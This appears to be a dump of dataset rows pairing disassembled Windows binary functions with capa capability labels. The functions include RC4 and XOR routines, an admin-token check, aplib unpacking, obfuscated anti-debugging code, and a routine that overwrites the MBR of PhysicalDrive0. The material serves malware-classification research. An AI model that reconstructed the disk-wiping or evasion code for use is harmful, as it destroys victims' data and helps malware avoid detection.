joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005510
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov r10, qword [rcx + 0x18]
mov rdi, rcx
mov rcx, qword [r10]
test rcx, rcx
je 0x1400055db
movzx eax, byte [0x1400222cf]
lea rsi, [0x1400287b0]
xor ebx, ebx
mov r11d, ebx
mov r8, rbx
mov r9, r10
test rcx, rcx
je 0x140005585
mov rcx, rbx
mov rdx, qword [rcx + r10]
cmp byte [rdx], al
jne 0x1400055fe
mov r9, qword [rdi + 0x18]
inc r8
inc r11d
cmp qword [r9 + r8*8], rbx
lea rcx, [r8*8]
jne 0x140005561
mov rcx, qword [0x1400287b0]
mov rdx, rbx
mov r10, r9
test rcx, rcx
je 0x1400055cf
mov r8, rbx
mov r9, rsi
nop dword [rax]
mov rax, qword [rdi + 0x18]
lea rdx, [rdx + 1]
mov qword [r9], rbx
mov qword [r8 + rax], rcx
lea r8, [rdx*8]
mov rcx, qword [r8 + rsi]
lea r9, [r8 + rsi]
test rcx, rcx
jne 0x1400055a0
mov r10, qword [rdi + 0x18]
movzx eax, byte [0x1400222cf]
mov rcx, qword [r10]
test rcx, rcx
jne 0x140005550
mov rcx, qword [rdi]
call fcn.140001bb0
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140007e30
add rsp, 0x130
pop rdi
pop rsi
pop rbx
ret
mov qword [rsp + 0x158], rbp
mov rbp, 0xffffffffffffffff
movsxd rax, r11d
mov rsi, rbp
mov qword [rsp + 0x160], r14
mov rcx, qword [r9 + rax*8]
nop
inc rsi
cmp byte [rcx + rsi], bl
jne 0x140005620
shr esi, 1
call fcn.140001bb0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, pe_nt_image_headers64
mov r14, rax
call fcn.140008f40
mov rdx, qword [rdi + 0x10]
inc rbp
cmp byte [rdx + rbp], bl
jne 0x140005648
mov r8, rbp
lea rcx, [rsp + 0x20]
call fcn.140001dc0
mov rbp, qword [rsp + 0x158]
mov r10d, ebx
test esi, esi
je 0x1400056c7
mov r9, r14
mov r11d, esi
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx + 1]
movzx ebx, al
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x20]
lea r9, [r9 + 1]
movzx r8d, byte [rdx + rbx]
lea eax, [r10 + r8]
movzx r10d, al
movzx eax, byte [rcx + r10]
mov byte [rdx + rbx], al
mov byte [rcx + r10], r8b
movzx eax, byte [rdx + rbx]
add r8, rax
movzx eax, r8b
movzx ecx, byte [rsp + rax + 0x20]
xor byte [r9 - 1], cl
sub r11, 1
jne 0x140005680
mov rax, r14
mov r14, qword [rsp + 0x160]
jmp 0x1400055e3
Function at 0x140005cb0
Capabilities:
Read file on windows
Read pipe

Disassembly:
push rdi
sub rsp, 0x50
mov rdi, qword [0x14002a768]
test rdi, rdi
je 0x140005e55
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rsi
xor esi, esi
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r15
mov edx, 1
mov ecx, 0x80000
call fcn.140009b88
mov r15, rax
test rax, rax
je 0x140005e3c
mov r14, qword [rdi + 0x28]
mov rbp, rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rsi
mov rcx, r14
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov dword [rsp + 0x60], esi
xor r8d, r8d
mov dword [rsp + 0x68], esi
xor edx, edx
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x140005da0
cmp dword [rsp + 0x60], esi
jbe 0x140005d8f
cmp ebx, 0x80000
jae 0x140005d8f
mov r8d, 0x80000
mov qword [rsp + 0x20], rsi
sub r8d, ebx
lea r9, [rsp + 0x68]
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140005d8f
mov eax, dword [rsp + 0x68]
xor r9d, r9d
add ebx, eax
mov qword [rsp + 0x28], rsi
add rbp, rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor edx, edx
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x140005d31
test ebx, ebx
je 0x140005da0
mov r8d, dword [rdi]
mov edx, ebx
mov rcx, r15
call fcn.140004760
mov rcx, r15
call fcn.14000a0b4
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x140005dc7
inc dword [rdi + 8]
cmp dword [rdi + 8], 3
jle 0x140005dc7
mov dword [rdi + 4], esi
mov rdi, qword [rdi + 0x30]
test rdi, rdi
jne 0x140005ce1
mov rbx, qword [0x14002a768]
test rbx, rbx
je 0x140005e3c
cmp dword [rbx + 4], 0
jne 0x140005e30
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx + 0x30]
mov rcx, rbx
test rsi, rsi
jne 0x140005e25
mov qword [0x14002a768], rax
call fcn.14000a0b4
mov rbx, qword [0x14002a768]
jmp 0x140005e37
mov qword [rsi + 0x30], rax
call fcn.14000a0b4
jmp 0x140005e33
mov rsi, rbx
mov rbx, qword [rbx + 0x30]
test rbx, rbx
jne 0x140005de0
mov r14, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x30]
add rsp, 0x50
pop rdi
ret
Function at 0x1400066b0
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
mov dword [rsp + 0x70], 0
lea rax, [rsp + 0x68]
mov word [rsp + 0x74], 0x500
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
test eax, eax
je 0x140006748
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x60]
test eax, eax
cmove ecx, ebx
mov dword [rsp + 0x60], ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140007e30
add rsp, 0x80
pop rbx
ret
Function at 0x14000c604
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14000c3d8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c3d8
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c3d8
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c3d8
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c3d8
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c3d8
cmp dword [rcx + 0xf8], esi
je 0x14000c3d8
mov ecx, r14d
call fcn.14000c520
mov ecx, 2
call fcn.140011bc0
nop
cmp byte [0x140027d70], 0
jne 0x14000c4a2
mov r15d, 1
mov eax, r15d
xchg dword [0x140027d60], eax
test ebx, ebx
jne 0x14000c44b
mov rdi, qword [0x140026008]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140027d68]
cmp rcx, rax
je 0x14000c442
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.1400086e4]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140027eb8]
jmp 0x14000c457
cmp ebx, r15d
jne 0x14000c45d
lea rcx, [0x140027ed0]
call fcn.14000d54c
nop
test ebx, ebx
jne 0x14000c474
lea rdx, [0x14001a548]
lea rcx, [0x14001a528]
call fcn.14000ce74
lea rdx, [0x14001a558]
lea rcx, [0x14001a550]
call fcn.14000ce74
movzx eax, byte [0x140027d70]
test esi, esi
cmove eax, r15d
mov byte [0x140027d70], al
jmp 0x14000c4a2
mov ecx, 2
call fcn.140011c14
test esi, esi
jne 0x14000c4b9
mov ecx, r14d
call fcn.14000c4d4
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000c368
Function at 0x140ef9058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140ef91df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140ef9089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ef906f
add dl, dl
jne 0x140ef9096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ef90f6
xor eax, eax
add dl, dl
jne 0x140ef90a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ef91ad
add dl, dl
jne 0x140ef90b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ef90c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ef90d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ef90dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140ef90ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140ef907e
mov eax, 1
add dl, dl
jne 0x140ef9106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ef9113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ef90fb
sub eax, ebx
mov ebx, 1
jne 0x140ef914c
mov ecx, 1
add dl, dl
jne 0x140ef912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ef913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ef9123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ef907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140ef9168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ef9175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ef915d
cmp eax, 0x7d00
jae 0x140ef919b
cmp eax, 0x500
jb 0x140ef9196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ef907e
cmp eax, 0x7f
ja 0x140ef919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ef907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140ef91d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140ef907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0xa64b83
Capabilities:
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions

Disassembly:
mov qword [rsp], rdx
push r11
call fcn.0150a03e
mov qword [rcx], rbx
sar ch, 0x29
sub cx, bx
ror ch, cl
mov eax, dword [rax + 4]
add cx, 0x332f
mov dword [rsp + 0x10], edx
ror cx, cl
cmp rcx, 0x2c226e06
lea ecx, [rdi + rax]
mov eax, 0x300
mov dword [rsp + 8], edi
shl eax, cl
test r10w, 0x195
cmp al, r10b
clc
mov dword [rsp + 0x70], r12d
test di, 0x108d
jmp 0xa74a6e
inc ecx
test r11, 0xffffffffaebaf327
or edi, eax
inc r9
test r10b, r8b
cmp edx, 0xe11eccaf
cmp ecx, 5
jmp 0x15115a5
mov dword [rsp + 0x80], r12d
add eax, 0x736
mov dword [rsp + 4], r12d
jmp 0x149855b
jmp 0xa64b77
pop rdi
sets bpl
pop rbp
movzx bx, r13b
mov ebx, esp
movzx rbx, r14w
pop rbx
jmp 0x151552e
mov eax, r10d
neg bpl
cmovno r14w, si
movsx r14, sp
add rsp, 0x30
movsx edi, si
movzx r14w, bpl
mov di, 0xc627
pop r15
mov bx, bp
pop r14
movzx edi, r9w
cmovb ebx, esi
jmp 0x1498249
lea r13, [r8 - 1]
movsx edi, r12w
xadd di, cx
rcr dil, 0x1b
mov edi, ebx
or ch, cl
or r8d, 0xffffffff
stc
mov ecx, ebx
cmc
cmp r9, r13
jmp 0x15169cf
pop r13
jmp 0x150e62d
je 0x1498596
mov ecx, eax
movsxd rax, eax
movzx di, r9b
movsx r13w, r11b
mov eax, 0x400
movzx r13w, dl
mov rdi, r15
movzx eax, ax
bswap r9w
mov r9b, 0x89
setne r13b
rep stosw word [rdi], ax
cmovg rdi, rbp
movzx rcx, r13w
mov r9, r8
sal di, cl
jmp 0x1498063
pop r12
movzx bx, ch
movsx di, dl
jmp 0xa79881
jl 0x149807f
mov qword [rsp + 0x28], rsi
add bx, 0xf5ac
cdqe
mov rbx, r9
nop
ret
je 0xa7dd44
movzx eax, byte [r9]
cmp rax, 0x380ca9ba
clc
shl edi, 8
jmp 0xa6b18c

Function at 0xa6effb
Capabilities:
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions

Disassembly:
xchg rdx, r10
mov qword [rsp + rdx*2 - 0x17372], r14
bswap r10d
lea rbx, [rdx + 0x2d09e7b7]
not edi
pushfq
movsx esi, bx
not dl
or r10, rsi
movabs rbx, 0
not dx
mov qword [rsp + rdx - 0x4689], rbx
mov esi, dword [rsp + rdx - 0x4639]
inc rdx
ror esi, 2
shr dx, 0x6a
lea esi, [r9 + rsi - 0x2630d2f]
ror esi, 3
xor edx, edx
sbb esi, 0x9c32d91e
btr rdx, rdx
lea r10, [rdx + r10*8 - 0x4b8a4e]
not esi
imul dx, di
bt r10d, 0x85
add rsi, rbx
dec r10w
push r10
movsx ebx, word [rsp + rdx*8 + 2]
mov qword [rsp + rdx*4 + 0x80], r12
xchg dil, bl
dec bl
shr dl, 0xc6
mov qword [rsp + rdx + 0x88], rbp
je 0x150c579
add bx, dx
and dil, 0xf0
mov rsp, rdi
mov r10d, 0xcbb1e929
out 0x41, eax
mov edx, 0xcbb1e929
movsx r9d, r10b
ror r10, 0x6f
mov rbx, rsi
sbb r10b, r9b
movabs rdx, 0
btc r10w, r9w
ror r10, 0xff
add r9, 0x1425e600
sbb rbx, rdx
sub r10b, r10b
jle 0x1510e48
je 0x14903b4
wait
invalid
lea rbp, [rsp + rdx + 8]
sub bl, 0x97
bswap edx
pop r10
lea rdi, [rbp + rdx*2 - 0x238]
ror r9b, 7
ja 0x14903ab
setno r9b
lea r10, [0x00a7419c]

Function at 0x151156d
Capabilities:
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions

Disassembly:
xor bl, dl
lea rdx, [rsp + rdx + 0x28]
jmp 0x15169ad
mov word [rdx], r9w
call 0x14982b9
push 0xffffffff8610301d
shl qword [rsp], 0xff
shld r8d, r9d, cl
call 0xa67b8c
call 0xa6388d
Function at 0x1400018fc
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x240
xor edx, edx
lea rcx, [rsp + 0x44]
mov r8d, 0x1fc
call fcn.14001f270
and qword [rsp + 0x30], 0
lea rcx, str..PhysicalDrive0
mov eax, dword [str.Meow]
mov r8d, 3
and dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], r8d
mov dword [rsp + 0x40], eax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000196a
lea rdx, str.Failed_to_open_the_disk_for_writing._n
lea rcx, [0x140031310]
call fcn.140001ab8
jmp 0x1400019d9
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x250]
mov r8d, 0x200
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400019bd
cmp dword [rsp + 0x250], 0x200
jne 0x1400019bd
lea rdx, str.MBR_modified_successfully._n
lea rcx, [0x1400311d0]
call fcn.140001ab8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400019de
lea rdx, str.Failed_to_write_to_the_disk._n
lea rcx, [0x140031310]
call fcn.140001ab8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x240
pop rbx
ret

Function at 0x140003f7c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140003faa
xor eax, eax
jmp 0x140004090
cmp qword [rcx + 0x68], 0
je 0x140003fbb
call fcn.1400040ac
jmp 0x140004090
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140003fd2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140003fd4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004006
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14001ebd0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000408a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x14000403d
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140004066
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000be8c
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000408a
cmp rsi, rbx
ja 0x140004044
test rsi, rsi
je 0x14000408a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000be8c
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140005e00
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005e4a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005e4a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005e4a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005e4a
cmp dword [rcx + 0x84], 0xe
jbe 0x140005e4a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005e4c
xor al, al
add rsp, 0x28
ret

Function at 0x14000ea18
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000ea87
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000ea87
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000ea87
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000ea87
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000ea87
cmp dword [rcx + 0x84], 0xe
jbe 0x14000ea87
cmp dword [rcx + 0xf8], 0
je 0x14000ea87
mov ecx, ebx
call fcn.14000eb38
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000e914
nop
cmp dword [rbp + 0x20], 0
je 0x14000ead5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000eae0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000ea18

Function at 0x14000ec1c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000ea18
Function at 0x140013e50
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140005860
sub rsp, rax
mov rax, qword [0x140030040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140012a30
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140013e9f
mov rax, rbp
jmp 0x140013fa7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x32540]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140014f70
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x32540]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140013fa3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140013fa3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140014f70
test rax, rax
js 0x140013fa3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140013fa3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140013f95
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140013f95
cmp byte [rcx], 0xd
jne 0x140013f7b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140013f8a
cmp byte [rcx + 1], 0xa
jne 0x140013f8a
inc rcx
jmp 0x140013f8a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x30480]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140013f5d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140013fa7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140005830
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400141c8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400141de
mov al, 1
jmp 0x14001423e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400141ef
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001423c
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019290
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001423c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001423c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001423c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001423e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140014310
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140032540]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140014367
cmp word [rdx], r13w
jne 0x140014367
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14001436c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140014491
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400144b2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400143a5
mov rdx, r9
mov word [rbx], cx
jmp 0x1400143cc
cmp r9, r8
jae 0x1400143dc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140014386
jmp 0x140014491
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140014486
cmp dword [rsp + 0x80], esi
je 0x140014486
lea r8, [0x140032540]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14001445e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14001442e
mov word [rbx], r13w
jmp 0x14001448e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14001443b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14001448e
cmp word [rsp + 0x70], r13w
jne 0x14001446b
cmp rbx, r14
je 0x140014428
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140014f78
cmp word [rsp + 0x70], r13w
je 0x140014491
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140032540]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001448b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140014491